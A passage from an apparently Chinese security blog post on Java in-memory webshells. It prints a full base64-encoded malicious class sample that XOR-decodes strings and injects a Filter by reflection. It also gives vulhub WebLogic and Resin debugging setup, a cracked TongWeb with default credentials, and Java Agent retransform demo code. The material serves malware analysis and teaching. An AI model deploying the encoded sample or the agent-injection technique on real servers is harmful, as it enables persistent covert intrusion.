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Gc2V0SW50AQAEKEkpVgEAECgpTGphdmEvbmV0L1VSSTsBAAJbQgwAoQBZBwA1BwCvAQARZ2V0RGVjbGFyZWRNZXRob2QKAN4AYwEAAygpWgEABShbQylWDADNAJkBABBqYXZhL2xhbmcvU3lzdGVtAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwoA1wBICgBOAL4BACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIKAAkAGQoAJQB0DADKAB0HAH4BAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgoAKwDQAQAJZ2V0UGFyZW50DAChAHwBAAZkZWxldGUKAE8AdwEABCgpW0MBAAdyZXBsYWNlCgCtAHoMACcASwEAA3NldAEADVN0YWNrTWFwVGFibGUBAARDb2RlCgACAH0KAC4AXgwAFQA/DAA9AEoKACUA0QcAVQEAD2phdmEvbGFuZy9DbGFzcwwAPQBaCgAlAMMMAEkAOgwAlwCUCgBPAHAMAGcAjgwAgQBBAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAPQBTAQACW0MBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UMAFAAgAwAsQB/CgByAJYBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CgACAHkMANkAgAEACXN1YnN0cmluZwwAxgBFBwClAQAGZXhpc3RzDABkAFIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFihDQylMamF2YS9sYW5nL1N0cmluZzsKAC4AkgwAWwAdCgACAMwMAGIAHQEADGphdmEvaW8vRmlsZQEAFShMamF2YS9sYW5nL09iamVjdDspWgwARwBCDACgANoBAANhZGQKAE8AIgEAECgpTGphdmEvbmV0L1VSTDsHADwBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQANZ2V0U3VwZXJjbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsHANsBAAtnZXRQcm9wZXJ0eQEAC25ld0luc3RhbmNlAQABYQEAB3ZhbHVlT2YMACgAUgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwDHAQATW0xqYXZhL2xhbmcvU3RyaW5nOwwAtADSCgDeALMBABUoSSlMamF2YS9sYW5nL09iamVjdDsMACkAuwoA1wAZBwAtAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACHRvU3RyaW5nBwDUDAA4AEMBAA1zZXRBY2Nlc3NpYmxlDAAkAK4MAIgAhQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC3RvQ2hhckFycmF5AQADZ2V0DAC5AI0BABFMamF2YS9sYW5nL0NsYXNzOwoAAgC2CgAlAKQMAKMAVgEADWdldFBhcmVudEZpbGUKAAkAyQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkDAC/AC8MAD0AxAEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWAQADKClWAQAQZ2V0RGVjbGFyZWRGaWVsZAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgoA3gCJDAAjAJsBABRnZXRTeXN0ZW1DbGFzc0xvYWRlcgoALgC1DAAMAD8BAAV0b1VSTAEAClNvdXJjZUZpbGUKACUAjAwAMgB7DAAfAFIBAAQoWilWBwCnAQAUamF2YS9pby9TZXJpYWxpemFibGUMAIsAUgEACDxjbGluaXQ+BwANCgDeAIIBAAlnZXRNZXRob2QBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADGphdmEvbmV0L1VSSQEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgoABgC6BwBzBwDgAQAPT3ZlcmJyaWxsaWFudGx5ACEA3wDXAAAAAgAJAKIAHgAAAAkADwAeAAA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";

首先将这串base64串转换成class文件,然后根据类名,在IDEA中粘成一个新的java文件,更改java文件中的报错(有一行return报错),分析一下代码结构,由于采用的是Java label跳出循环的方式,那么此处改为break label174。这样java文件不再报错,可以正常执行。

内存Webshell马详解_第10张图片

具体看一下样本,laabel169代表的循环,将截取后的字符串转成数组,将数组的每一位和长度为7的key进行异或。var72是异或后得到的字符串。即将截取的*"�H�"6)/Yk0$'vwSm44-$&�转换成java.util.Base64$Decoder。关于异或加密XOR的内容可以看:http://www.ruanyifeng.com/blog/2017/05/xor.html

内存Webshell马详解_第11张图片

switch会判断字符串是否完成全部的遍历,如果完成全部的遍历,开始Filter的反射加载流程。 

内存Webshell马详解_第12张图片

5. 中间件环境搭建

1)Resin

Resin 4.X下载地址:https://caucho.com/products/resin/download/archive/gpl,解压即可
IDEA的plugin中搜索resin,点击install,这样在选择服务器时就有了resin选项,Application server配置时选取下载好的Resin解压后的文件夹即可。启动端口可以任意设置。

内存Webshell马详解_第13张图片

IDEA按照往常的方法,先启动一个maven项目,然后项目右击Add Framework Support生成web目录,包含web.xml。但是启动时遇到了一个错误。

内存Webshell马详解_第14张图片

然后将web.xml文件替换成了如下内容,成功运行。 



2)Weblogic

(1)本机安装配置

Weblogic安装教程可参考:WebLogic的使用总结(一)_wespten的博客-CSDN博客_weblogic

(2)vulhub配置

 不同的是,有些版本容器下可能没有setDomainEnv.sh的权限,或者setDomainEnv.sh所在路径不同。没有权限就需要从容器先拷贝到主机,修改完文件内容后再拷贝回容器

(1) 在vulhub中找到weblogic对应CVE 
    cd /vulhub/weblogic/CVE-2020-14882/
(2) 增加端口
    vim docker-compose.yml
    末尾 - "7001:7001"下增加一行 - "8453:8453"
(3) 启动容器
    docker-compose up -d
(4) 进入容器找setDomainEnv.sh所在路径
    docker exec -it 'container_id' /bin/bash
    此版本下的路径为:/u01/oracle/user_projects/domains/base_domain/bin
(5) 从容器中复制 setDomainEnv.sh到主机(由于此版本下没有vi/vim)
    docker cp 'container_id':/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh /root
(6) 按下图修改setDomainEnv.sh
    vi setDomainEnv.sh
(7) 更改文件权限
    sudo chmod -R 777 setDomainEnv.sh
(8) 从主机拷贝到容器
    docker cp ./setDomainEnv.sh c571ef7ec3a2:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh
(9) 重启容器
    sudo docker restart 'container_id'
(10) 复制Weblogic代码到主机
    sudo docker cp 'container_id':/u01/oracle/ ./weblogic_code/
(11) 将jar包集中复制
    mkdir dep  &&  cp `find ./* -name "*.jar"` ./dep

内存Webshell马详解_第15张图片

调试注意事项:

想要在调试过程中看到源码,需要导入weblogic安装目录下的module文件夹,该文件夹下存有许多jar文件。文件夹路径如:/oracle/Middleware/Oracle_Home/wlserver/module

3)TongWeb

从网上找了个6.1的破解版,Windows的。
TongWeb控制台:http://ip:9060/console/rest。
默认用户名密码:thanos,thanos123.com

IDEA调试前,打开TongWeb控制台->启动参数,JVM参数修改如下:

-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address="5005"

其他JVM参数增加:

-Xdebug

2、Agent型Java内存马

Java Agent的核心是Instrumentation,通过JVM运行过程中加载一个Agent来修改应用程序。这样就无需新建一个Filter、listener等,直接修改核心类的方法即可。Agent型内存马分为Agent和注入Agent两部分。Agent重写transform方法,加入恶意代码。

注入Agent则是遍历VirtualMachine.list,找到目标类,然后将Agent attach到目标应用中。这样注入的Agent无法通过之前Filter、listener的方式在内存中查看,因为并没有加入到具体的内存对象中,只是修改了某个类的方法,所以需要利用工具在JVM中查看类的具体代码,判断是否被修改,来查找内存马的痕迹。想要杀掉Agent内存马就是要把这部分恶意代码抹去。

1. 预备知识

JVMTI:JVM Tool Interface,Java虚拟机对外提供的Native编程接口
Agent:应用程序的代理程序,从目标JVM中获取数据传递给外部进程
Instrumentation:从Java SE 5开始引入的Java接口,可以通过java.lang.instrument来编写agent,而不再用Native的方式(虽然还是借助了JVMTI)。java.lang.instrument包结构如下

java.lang.instrument
    - ClassDefinition
    - ClassFileTransformer
    - IllegalClassFormatException
    - Instrumentation
    - UnmodifiableClassException

1)Agent 加载方式

Agent的加载可以是在JVM启动的时候,也可以是运行的时候。两种方法入口函数不同。但是形参的第一个参数agentArgs,通过– javaagent传入。inst是Instrumentation类型的对象,JVM自动传入。

// 启动时加载
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);
// 运行时加载
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);

无论是这两种哪个Agent,都需要打成一个jar包,在ManiFest属性中指定Premain-Class或者Agent-Class。打成jar包后需要挂在到目标JVM上,如果是启动时加载就是-javaagent:[=],如果是运行时挂载,就需要做一些额外的开发。

2. Agent Demo

参考https://www.cnblogs.com/rebeyond/p/9686213.html起三个工程,并将三个工程生成的jar放到同一目录。

1)JavaAgentMem—要被修改的应用程序

内存Webshell马详解_第16张图片

Ask类是应用程序,即要被Agent修改动作的类。

先创建一个修改后希望运行的Ask:

public class Ask {
    public void say()
    {
        System.out.println("Oh my god...not yet");
    }
}

将这个Ask.class拷贝出来放到xx路径下,然后将这个Ask类改为被修改前的样子。

public class Ask {
    public void say()
    {
        System.out.println("Have you finish your Memshell?");
    }
}

注意:如果想在命令行中以java -jar xxx.jar来运行jar文件,需要在IDEA的resources中创建MANIFEST.MF文件(指定Main-Class,并且末尾需要一行空行)。

Manifest-Version: 1.0
Main-Class: Test

这个工程没啥好说的, 就是相当于一个普通应用程序,后面要写一个Agent来修改它。

2)JavaAgent

内存Webshell马详解_第17张图片

AgentEntry类:

import java.lang.instrument.Instrumentation;

public class AgentEntry {
    public static void agentmain(String agentArgs, Instrumentation inst)
            throws Exception{
        inst.addTransformer(new Transformer (), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (Class c : loadedClasses) {
            if (c.getName().equals("Ask")) {
                try {
                    inst.retransformClasses(c);
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
        System.out.println("Class changed!");
    }
}

根据预备知识可以知道,Agent分为启动时加载和运行时加载。运行时夹在需要采用agentmain。Instrumentation.addTransformer()用于加载一个转换器。该方法接收的参数类型为ClassFileTransformer接口实现类,该接口中只有一个方法transform(),会返回转换后的字节码。

Transformer类:

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

public class Transformer implements ClassFileTransformer {

    static byte[] mergeByteArray(byte[]... byteArray) {
        int totalLength = 0;
        for(int i = 0; i < byteArray.length; i ++) {
            if(byteArray[i] == null) {
                continue;
            }
            totalLength += byteArray[i].length;
        }

        byte[] result = new byte[totalLength];
        int cur = 0;
        for(int i = 0; i < byteArray.length; i++) {
            if(byteArray[i] == null) {
                continue;
            }
            System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
            cur += byteArray[i].length;
        }

        return result;
    }
    public static byte[] getBytesFromFile(String fileName) {
        try {
            byte[] result=new byte[] {};
            InputStream is = new FileInputStream(new File(fileName));
            byte[] bytes = new byte[1024];
            int num = 0;
            while ((num = is.read(bytes)) != -1) {
                result=mergeByteArray(result, Arrays.copyOfRange(bytes, 0, num));
            }
            is.close();
            return result;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public byte[] transform(ClassLoader classLoader, String className, Class c,
                            ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
        if (!className.equals("Ask")) {
            return null;
        }
        // 刚才Ask.class所放路径
        return getBytesFromFile("/xx/Ask.class");

    }
}

3)AgentStarter

内存Webshell马详解_第18张图片

Attach类,挂载到目标JVM上,执行加载Agent操作。而Detach则是将Agent从目标JVM卸载。

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Attach {
    public static void main(String[] args) throws Exception {

        VirtualMachine vm = null;
        List listAfter = null;
        List listBefore = null;
        listBefore = VirtualMachine.list();
        while (true) {
            try {
                listAfter = VirtualMachine.list();
                if (listAfter.size() <= 0)
                    continue;
